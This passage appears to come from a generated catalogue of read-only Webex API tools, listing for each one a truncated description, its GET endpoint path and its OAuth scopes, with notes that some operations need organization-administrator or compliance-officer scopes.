meeting series, the invitees. GET /api/v1/webex/meetingInvitees. Scopes: meeting:schedules_read. webex_get_meetinginvitees_by_meetinginviteeid (read) — Retrieve details for a meeting invitee identified by a `meetingInviteeId` in the URI. GET /api/v1/webex/meetingInvitees/{meetingInviteeId}. Scopes: meeting:schedules_read. webex_get_meetingparticipants (read) — List all participants in an in-progress meeting or an ended meeting. The `meetingId` parameter is required, which is the unique identifier for the meeting. The authenticated user calling this API must either have an Administrator role with the `meeting:admin_participants_read` scope, or be the meet. GET /api/v1/webex/meetingParticipants. Scopes: meeting:participants_read. webex_get_meetingparticipants_by_participantid (read) — Get a meeting participant details of a live or post meeting. The `participantId` is required to identify the meeting and the participant. The authenticated user calling this API must either have an Administrator role with the `meeting:admin_participants_read` scope, or be the meeting host. GET /api/v1/webex/meetingParticipants/{participantId}. Scopes: meeting:participants_read. webex_get_meetingpreferences (read) — Retrieves meeting preferences for the authenticated user. GET /api/v1/webex/meetingPreferences. Scopes: meeting:preferences_read. webex_get_meetingpreferences_audio (read) — Retrieves audio options for the authenticated user. GET /api/v1/webex/meetingPreferences/audio. Scopes: meeting:preferences_read. webex_get_meetingpreferences_personalmeetingroom (read) — Retrieves the Personal Meeting Room options for the authenticated user. GET /api/v1/webex/meetingPreferences/personalMeetingRoom. Scopes: meeting:preferences_read. webex_get_meetingpreferences_schedulingoptions (read) — Retrieves scheduling options for the authenticated user. GET /api/v1/webex/meetingPreferences/schedulingOptions. Scopes: meeting:preferences_read. webex_get_meetingpreferences_sites (read) — Retrieves the list of Webex sites that the authenticated user is set up to use. When the admin tries to get the site list via `userEmail`, if `siteUrl` is not specified, the API searches the user ID from the admin's default site. If `siteUrl` is specified, the API searches the user ID from the speci. GET /api/v1/webex/meetingPreferences/sites. Scopes: meeting:preferences_read. webex_get_meetingpreferences_video (read) — Retrieves video options for the authenticated user. GET /api/v1/webex/meetingPreferences/video. Scopes: meeting:preferences_read. webex_get_meetingreports_attendees (read) — Lists of meeting attendee reports by a date range, the maximum number of meeting attendee reports, a meeting ID, a meeting number or a meeting title. If the requesting user is an admin, the API returns meeting attendee reports of the meetings hosted by all the users on the specified site filtered b. GET /api/v1/webex/meetingReports/attendees. Scopes: meeting:schedules_read. webex_get_meetingreports_usage (read) — List meeting usage reports of all the users on the specified site by an admin. You can specify a date range and the maximum number of meeting usage reports to return. The list returned is sorted in descending order by the date and time the meetings were started. Long result sets are split into... ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetingReports/usage. Scopes: none. webex_get_meetings (read) — <div><Callout type="info">The previous `List Meetings of a Meeting Series` API is merged into the List Meetings (/docs/api/v1/meetings/list-meetings) API.</Callout></div> Retrieves details for meetings with a specified meeting number, web link, meeting type, etc. Please note that there are various. GET /api/v1/webex/meetings. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid (read) — Retrieves details for a meeting with a specified meeting ID. * If the `meetingId` value specified is for a meeting series and `current` is `true`, the operation returns details for the current scheduled meeting of the series, i.e. the scheduled meeting ready to join or start or the upcoming schedul. GET /api/v1/webex/meetings/{meetingId}. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_breakoutsessions (read) — Lists meeting breakout sessions for a meeting with a specified `meetingId`. This operation can be used for meeting series, scheduled meeting and ended or ongoing meeting instance objects. See the Webex Meetings (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) guide for more. GET /api/v1/webex/meetings/{meetingId}/breakoutSessions. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_interpreters (read) — Lists meeting interpreters for a meeting with a specified `meetingId`. This operation can be used for meeting series, scheduled meeting and ended or ongoing meeting instance objects. If the specified `meetingId` is for a meeting series, the interpreters for the series will be listed; if the `meetin. GET /api/v1/webex/meetings/{meetingId}/interpreters. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_interpreters_by_interpreterid (read) — Retrieves details for a meeting interpreter identified by `meetingId` and `interpreterId` in the URI. GET /api/v1/webex/meetings/{meetingId}/interpreters/{interpreterId}. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_invitationsources (read) — Lists invitation sources for a meeting. Request Header: * `hostEmail`: Email address for the meeting host. This parameter is only used if the user or application calling the API has the admin on-behalf-of scopes. If set, the admin may specify the email of a user in a site they manage and the A. GET /api/v1/webex/meetings/{meetingId}/invitationSources. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_registrants (read) — Meeting's host and cohost can retrieve the list of registrants for a meeting with a specified meeting Id. GET /api/v1/webex/meetings/{meetingId}/registrants. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_registrants_by_registrantid (read) — Retrieves details for a meeting registrant with a specified registrant Id. GET /api/v1/webex/meetings/{meetingId}/registrants/{registrantId}. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_registration (read) — Get a meeting's registration form to understand which fields are required. GET /api/v1/webex/meetings/{meetingId}/registration. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_survey (read) — Retrieves details for a meeting survey identified by `meetingId`. Request Header: * `hostEmail`: Email address for the meeting host. This parameter is only used if the user or application calling the API has the admin on-behalf-of scopes. If set, the admin may specify the email of a user in a. GET /api/v1/webex/meetings/{meetingId}/survey. Scopes: meeting:schedules_read. webex_get_meetings_by_meetingid_surveyresults (read) — Retrieves results for a meeting survey identified by `meetingId`. Request Header: * `timezone`: Time zone for time stamps in response body, defined in conformance with the IANA time zone database (https://www.iana.org/time-zones). The default value is `UTC` if not specified. * `hostEmail`: E. GET /api/v1/webex/meetings/{meetingId}/surveyResults. Scopes: meeting:schedules_read. webex_get_meetings_controls (read) — Get the meeting control of a live meeting, which is consisted of meeting control status on "locked" and "recording" to reflect whether the meeting is currently locked and there is recording in progress. GET /api/v1/webex/meetings/controls. Scopes: meeting:controls_read. webex_get_meetings_pollresults (read) — List the meeting polls, the poll's questions, and answers from the meeting when ready. * Only meeting instances (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) in state `ended` or `inProgress` are supported for `meetingId`. * Long result sets will be split into [pages](/d. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetings/pollResults. Scopes: none. webex_get_meetings_polls (read) — Lists all the polls and the poll questions in a meeting when ready. * Only meeting instances (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) in state `ended` or `inProgress` are supported for `meetingId`. * No pagination for this API because we don't expect a large number. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetings/polls. Scopes: none. webex_get_meetings_polls_by_pollid_questions_by_questionid_respondents (read) — Lists the respondents to a specific questions in a poll. * Only meeting instances (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) in state `ended` or `inProgress` are supported for `meetingId`. * Long result sets are split into pages (/docs/basics#pagination). <div><Cal. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetings/polls/{pollId}/questions/{questionId}/respondents. Scopes: none. webex_get_meetings_postmeetingchats (read) — Lists the meeting chats of a finished meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) specified by `meetingId`. You can set a maximum number of chats to return. Use this operation to list the chats of a finished [meeting instance](/docs/meetings#meeting-se. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetings/postMeetingChats. Scopes: none. webex_get_meetings_q_and_a (read) — Lists questions and answers from a meeting, when ready. Notes: * Only meeting instances (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) in state `ended` or `inProgress` are supported for `meetingId`. * Long result sets will be split into pages (/docs/basics#pagination). ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetings/q_and_a. Scopes: none. webex_get_meetings_q_and_a_by_questionid_answers (read) — Lists the answers to a specific question asked in a meeting. * Only meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) in state `ended` or `inProgress` are supported for `meetingId`. * Long result sets will be split into pages (/docs/basics#pagination). ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetings/q_and_a/{questionId}/answers. Scopes: none. webex_get_meetings_sessiontypes (read) — List all the meeting session types enabled for a given user. GET /api/v1/webex/meetings/sessionTypes. Scopes: meeting:schedules_read. webex_get_meetings_sessiontypes_by_sessiontypeid (read) — Retrieves details for a meeting session type with a specified session type ID. GET /api/v1/webex/meetings/sessionTypes/{sessionTypeId}. Scopes: meeting:schedules_read. webex_get_meetings_templates (read) — Retrieves the list of meeting templates that is available for the authenticated user. There are separate lists of meeting templates for different `templateType`, `locale` and `siteUrl`. * If `templateType` is specified, the operation returns an array of meeting template objects specified by the `t. GET /api/v1/webex/meetings/templates. Scopes: meeting:schedules_read. webex_get_meetings_templates_by_templateid (read) — Retrieves details for a meeting template with a specified meeting template ID. Request Header: * `timezone`: Time zone (https://en.wikipedia.org/wiki/List_of_tz_database_time_zones#List) for time stamps in response body, defined in conformance with the [IANA time zone database](https://www.ia. GET /api/v1/webex/meetings/templates/{templateId}. Scopes: meeting:schedules_read. webex_get_meetings_trackingcodes (read) — Lists tracking codes on a site by a meeting host. The result indicates which tracking codes and what options can be used to create or update a meeting on the specified site. * The `options` here differ from those in the site-level tracking codes (/docs/api/v1/tracking-codes/get-a-tracking-code) an. GET /api/v1/webex/meetings/trackingCodes. Scopes: meeting:schedules_read. webex_get_meetingsummaries (read) — Get the summary of an ended meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) by the meeting ID. Please note that only meeting instances in state `ended` are supported, and currently the meeting ID of a meeting series, a scheduled meeting, an in-progress. GET /api/v1/webex/meetingSummaries. Scopes: meeting:summaries_read. webex_get_meetingtranscripts (read) — Lists available transcripts of an ended meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances). Use this operation to list transcripts of an ended meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) when they are ready. Plea. GET /api/v1/webex/meetingTranscripts. Scopes: meeting:transcripts_read. webex_get_meetingtranscripts_by_transcriptid_download (read) — Download a meeting transcript from the meeting transcript specified by `transcriptId`. GET /api/v1/webex/meetingTranscripts/{transcriptId}/download. Scopes: meeting:transcripts_read. webex_get_meetingtranscripts_by_transcriptid_snippets (read) — Lists snippets of a meeting transcript specified by `transcriptId`. Use this operation to list snippets of a meeting transcript when they are ready. GET /api/v1/webex/meetingTranscripts/{transcriptId}/snippets. Scopes: meeting:transcripts_read. webex_get_meetingtranscripts_by_transcriptid_snippets_by_snippetid (read) — Retrieves details for a transcript snippet specified by `snippetId` from the meeting transcript specified by `transcriptId`. GET /api/v1/webex/meetingTranscripts/{transcriptId}/snippets/{snippetId}. Scopes: meeting:transcripts_read. webex_get_memberships (read) — Lists all room memberships. By default, lists memberships for rooms to which the authenticated user belongs. Use query parameters to filter the response. Use `roomId` to list memberships for a room, by ID. NOTE: For moderated team spaces, the list of memberships will include only the space mo. `roomId` is REQUIRED when filtering by `personId` or `personEmail`. GET /api/v1/webex/memberships. Scopes: spark:memberships_read. webex_get_memberships_by_membershipid (read) — Get details for a membership by ID. Specify the membership ID in the `membershipId` URI parameter. GET /api/v1/webex/memberships/{membershipId}. Scopes: spark:memberships_read. webex_get_messages (read) — Lists all messages in a room. Each message will include content attachments if present. The list sorts the messages in descending order by creation date. Long result sets will be split into pages (/docs/basics#pagination). GET /api/v1/webex/messages. Scopes: spark:messages_read. webex_get_messages_by_messageid (read) — Show details for a message, by message ID. Specify the message ID in the `messageId` parameter in the URI. GET /api/v1/webex/messages/{messageId}. Scopes: spark:messages_read. webex_get_messages_direct (read) — List all messages in a 1:1 (direct) room. Use the `personId` or `personEmail` query parameter to specify the room. Each message will include content attachments if present. The list sorts the messages in descending order by creation date. GET /api/v1/webex/messages/direct. Scopes: spark:messages_read. webex_get_people (read) — List people in your organization. For most users, either the `email` or `displayName` parameter is required. Admin users can omit these fields and list all users in their organization. Response properties associated with a user's presence status, such as `status` or `lastActivity`, will only be ret. For most users either `email` or `displayName` is required; only an organization administrator may omit both and list everyone. GET /api/v1/webex/people. Scopes: spark:people_read. webex_get_people_by_personid (read) — Shows details for a person, by ID. Response properties associated with a user's presence status, such as `status` or `lastActivity`, will only be displayed for people within your organization or an organization you manage. Presence information will not be shown if the authenticated user has... GET /api/v1/webex/people/{personId}. Scopes: spark:people_read. webex_get_people_me (read) — Get profile details for the authenticated user. This is the same as GET `/people/{personId}` using the Person ID associated with your Auth token. Admin users can include `Webex Calling` (BroadCloud) user details in the response by specifying `callingData` parameter as true. GET /api/v1/webex/people/me. Scopes: spark:people_read. webex_get_recordingreport_accessdetail (read) — Retrieves details for a recording audit report with a specified recording ID. Only recording audit report details of meetings hosted by or shared with the authenticated user may be retrieved. Request Header: * `timezone`: [Time zone](https://en.wikipedia.org/wiki/List_of_tz_database_time_zone. GET /api/v1/webex/recordingReport/accessDetail. Scopes: meeting:recordings_read. webex_get_recordingreport_accesssummary (read) — Lists of recording audit report summaries. You can specify a date range and the maximum number of recording audit report summaries to return. Only recording audit report summaries of meetings hosted by or shared with the authenticated user will be listed. The list returned is sorted in descending. GET /api/v1/webex/recordingReport/accessSummary. Scopes: meeting:recordings_read. webex_get_recordingreport_meetingarchives_by_archiveid (read) — Retrieves details for a meeting archive report with a specified archive ID, which contains recording metadata. Meeting archive details are only available to full administrators, not even the meeting host. Request Header: * `timezone`: [Time zone](https://en.wikipedia.org/wiki/List_of_tz_datab. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/recordingReport/meetingArchives/{archiveId}. Scopes: none. webex_get_recordingreport_meetingarchivesummaries (read) — Lists of meeting archive summaries. You can specify a date range and the maximum number of meeting archive summaries to return. Meeting archive summaries are only available to full administrators, not even the meeting host. The list returned is sorted in descending order by the date and time that. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/recordingReport/meetingArchiveSummaries. Scopes: none. webex_get_recordings (read) — <div><Callout type="warning">This API is still supported and behaves the same as before, but will be deprecated in the future. Due to limited support for special characters when filtering recordings by `topic`, it is recommended to use the new [Query Recordings](/docs/api/v1/recordings/query-recordi. GET /api/v1/webex/recordings. Scopes: meeting:recordings_read. webex_get_recordings_by_recordingid (read) — Retrieves details for a recording with a specified recording ID. Only recordings of meetings hosted by or shared with the authenticated user may be retrieved. Request Header: * `timezone`: *Time zone (https://en.wikipedia.org/wiki/List_of_tz_database_time_zones#List) in conformance with the. GET /api/v1/webex/recordings/{recordingId}. Scopes: meeting:recordings_read. webex_get_room_linkedfolders (read) — Lists the ECM folder of a room specified by the `roomId` query parameter. GET /api/v1/webex/room/linkedFolders. Scopes: spark:rooms_read. webex_get_room_linkedfolders_by_id (read) — Get details for a room ECM folder with the specified folder id. GET /api/v1/webex/room/linkedFolders/{id}. Scopes: spark:rooms_read. webex_get_room_tabs (read) — Lists all Room Tabs of a room specified by the `roomId` query parameter. GET /api/v1/webex/room/tabs. Scopes: spark:rooms_read. webex_get_room_tabs_by_id (read) — Get details for a Room Tab with the specified room tab ID. GET /api/v1/webex/room/tabs/{id}. Scopes: spark:rooms_read. webex_get_rooms (read) — List rooms to which the authenticated user belongs to. The `title` of the room for 1:1 rooms will be the display name of the other person. Please use the memberships API (https://developer.webex.com/docs/api/v1/memberships) to list the people in the space. Long result sets will be split into... GET /api/v1/webex/rooms. Scopes: spark:rooms_read. webex_get_rooms_by_roomid (read) — Shows details for a room, by ID. The `title` of the room for 1:1 rooms will be the display name of the other person. When a Compliance Officer lists 1:1 rooms, the "other" person cannot be determined. This means that the room's title may not be filled in and instead shows "Empty Title". Please use. GET /api/v1/webex/rooms/{roomId}. Scopes: spark:rooms_read. webex_get_rooms_by_roomid_meetinginfo (read) — <div> <callout type="warning"> The meetingInfo API is deprecated and will be EOL on Jan 31, 2025. Meetings in the WSMP must be scheduled and licensed via the meetings backend. The Create a Meeting (/docs/api/v1/meetings/create-a-meeting) endpoint will provide the SIP address for the meeting to call. GET /api/v1/webex/rooms/{roomId}/meetingInfo. Scopes: spark:rooms_read. webex_get_slido_compliance_events (read) — Lists events representing actions that occurred during a Slido Secure Premium session (creating a poll, modifying a poll, activating a poll, posting an answer, etc.) Events capture who performed the action and on what resource. The events are paginated by the server into pages of max 256 items per. COMPLIANCE OFFICER ONLY: Slido compliance events need a spark-compliance scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/slido/compliance/events. Scopes: none. webex_get_team_memberships (read) — Lists all team memberships for a given team, specified by the `teamId` query parameter. Use query parameters to filter the response. GET /api/v1/webex/team/memberships. Scopes: spark:team_memberships_read. webex_get_team_memberships_by_membershipid (read) — Shows details for a team membership, by ID. Specify the team membership ID in the `membershipId` URI parameter. GET /api/v1/webex/team/memberships/{membershipId}. Scopes: spark:team_memberships_read. webex_get_teams (read) — Lists teams to which the authenticated user belongs. GET /api/v1/webex/teams. Scopes: spark:teams_read. webex_get_teams_by_teamid (read) — Shows details for a team, by ID. Specify the team ID in the `teamId` parameter in the URI. GET /api/v1/webex/teams/{teamId}. Scopes: spark:teams_read. webex_get_videomesh_callredirects (read) — Returns the redirect details of all Video Mesh clusters in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/callRedirects. Scopes: none. webex_get_videomesh_clienttypedistribution (read) — Returns the client type distribution details for all Video Mesh clusters in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clientTypeDistribution. Scopes: none. webex_get_videomesh_clienttypedistribution_clusters (read) — Returns the client type distribution details for a single Video Mesh cluster. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clientTypeDistribution/clusters. Scopes: none. webex_get_videomesh_cloudoverflow (read) — Returns details of overflows to the cloud in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/cloudOverflow. Scopes: none. webex_get_videomesh_clusters (read) — Returns the cluster details of all Video Mesh clusters in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clusters. Scopes: none. webex_get_videomesh_clusters_availability (read) — Returns the availability details for all Video Mesh clusters in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clusters/availability. Scopes: none. webex_get_videomesh_clusters_availability_by_clusterid (read) — Returns the availability details of a single Video Mesh cluster in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clusters/availability/{clusterId}. Scopes: none. webex_get_videomesh_clusters_by_clusterid (read) — Returns the cluster details for a single Video Mesh cluster. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clusters/{clusterId}. Scopes: none. webex_get_videomesh_clusters_callredirects (read) — Returns details of cluster redirects for a single Video Mesh cluster. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clusters/callRedirects. Scopes: none. webex_get_videomesh_clusters_utilization (read) — Returns the utilization details for a single Video Mesh cluster. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/clusters/utilization. Scopes: none. webex_get_videomesh_eventthresholds (read) — Returns the event threshold configurations for `orgId` or `clusterId`, with optional filters `eventName` and `eventScope`. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/eventThresholds. Scopes: none. webex_get_videomesh_eventthresholds_by_eventthresholdid (read) — Returns the event threshold configurations for `eventThresholdId`. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/eventThresholds/{eventThresholdId}. Scopes: none. webex_get_videomesh_nodes_availability (read) — Returns the availability details of all nodes in a Video Mesh cluster. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/nodes/availability. Scopes: none. webex_get_videomesh_nodes_availability_by_nodeid (read) — Returns the availability details of a single node in a Video Mesh cluster. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/nodes/availability/{nodeId}. Scopes: none. webex_get_videomesh_testresults (read) — Returns the results of the test triggered using the command ID.<br/> <b>NOTE:</b> The response format depends on the type of test triggered and it is the same as that of NetworkTest API (/docs/api/v1/video-mesh/list-network-test-results), [MediaHealthMonitorTest API](/docs/api/v1/video-mesh/list-me. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults. Scopes: none. webex_get_videomesh_testresults_mediahealthmonitortest (read) — Returns the test results of the Media Health Monitoring Tool tests for an organization. <br/> Changes in V2: <br/> On-demand test results can be obtained along with the periodic tests that are executed on Video Mesh nodes. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/mediaHealthMonitorTest. Scopes: none. webex_get_videomesh_testresults_mediahealthmonitortest_clusters (read) — Returns the test results of the Media Health Monitoring Tool tests for a single Video Mesh cluster. <br/> Changes in V2: <br/> On-demand test results can be obtained along with the periodic tests that are executed on Video Mesh nodes. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/mediaHealthMonitorTest/clusters. Scopes: none. webex_get_videomesh_testresults_mediahealthmonitortest_nodes (read) — Returns the test results of the Media Health Monitoring Tool tests for a single Video Mesh node. <br/> Changes in V2: <br/> On-demand test results can be obtained along with the periodic tests that are executed on Video Mesh nodes. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/mediaHealthMonitorTest/nodes. Scopes: none. webex_get_videomesh_testresults_networktest (read) — Returns the test results of the Network tests triggered for an organization. The tests listed below are run as a part of the Network Test execution on the node. <b>Bandwidth Test</b> - Tests the bandwidth parameters of the Video Mesh node's network. The test is run between the Video Mesh node and c. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/networkTest. Scopes: none. webex_get_videomesh_testresults_networktest_clusters (read) — Returns the test results of the Network tests triggered for a single Video Mesh cluster. The tests listed below are run as a part of the Network Test execution on the node. <b>Bandwidth Test</b> - Tests the bandwidth parameters of the Video Mesh node's network. The test is run between the Video Mes. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/networkTest/clusters. Scopes: none. webex_get_videomesh_testresults_networktest_nodes (read) — Returns the test results of the Network tests triggered for a single Video Mesh node. The tests listed below are run as a part of the Network Test execution on the node. <b>Bandwidth Test</b> - Tests the bandwidth parameters of the Video Mesh node's network. The test is run between the Video Mesh n. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/networkTest/nodes. Scopes: none. webex_get_videomesh_testresults_reachabilitytest (read) — Returns the test results of the Reachability tests for an organization. <br/> Changes in V2: <br/> 1. On-demand test results can be obtained along with the periodic tests that are executed on Video Mesh nodes. <br/> 2. You can now view the destination IP address of the destination cluster in t. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/reachabilityTest. Scopes: none. webex_get_videomesh_testresults_reachabilitytest_clusters (read) — Returns the test results of the Reachability tests for a single Video Mesh cluster. <br/> Changes in V2: <br/> 1. On-demand test results can be obtained along with the periodic tests that are executed on Video Mesh nodes. <br/> 2. You can now view the destination IP address of the destination. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/reachabilityTest/clusters. Scopes: none. webex_get_videomesh_testresults_reachabilitytest_nodes (read) — Returns the test results of the Reachability tests for a single Video Mesh node. <br/> Changes in V2: <br/> 1. On-demand test results can be obtained along with the periodic tests that are executed on Video Mesh nodes. <br/> 2. You can now view the destination IP address of the destination clu. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testResults/reachabilityTest/nodes. Scopes: none. webex_get_videomesh_teststatus (read) — Returns the status of the test triggered using the Trigger on-demand test API. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/testStatus. Scopes: none. webex_get_videomesh_utilization (read) — Returns the utilization details of all Video Mesh clusters in an organization. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/videoMesh/utilization. Scopes: none. 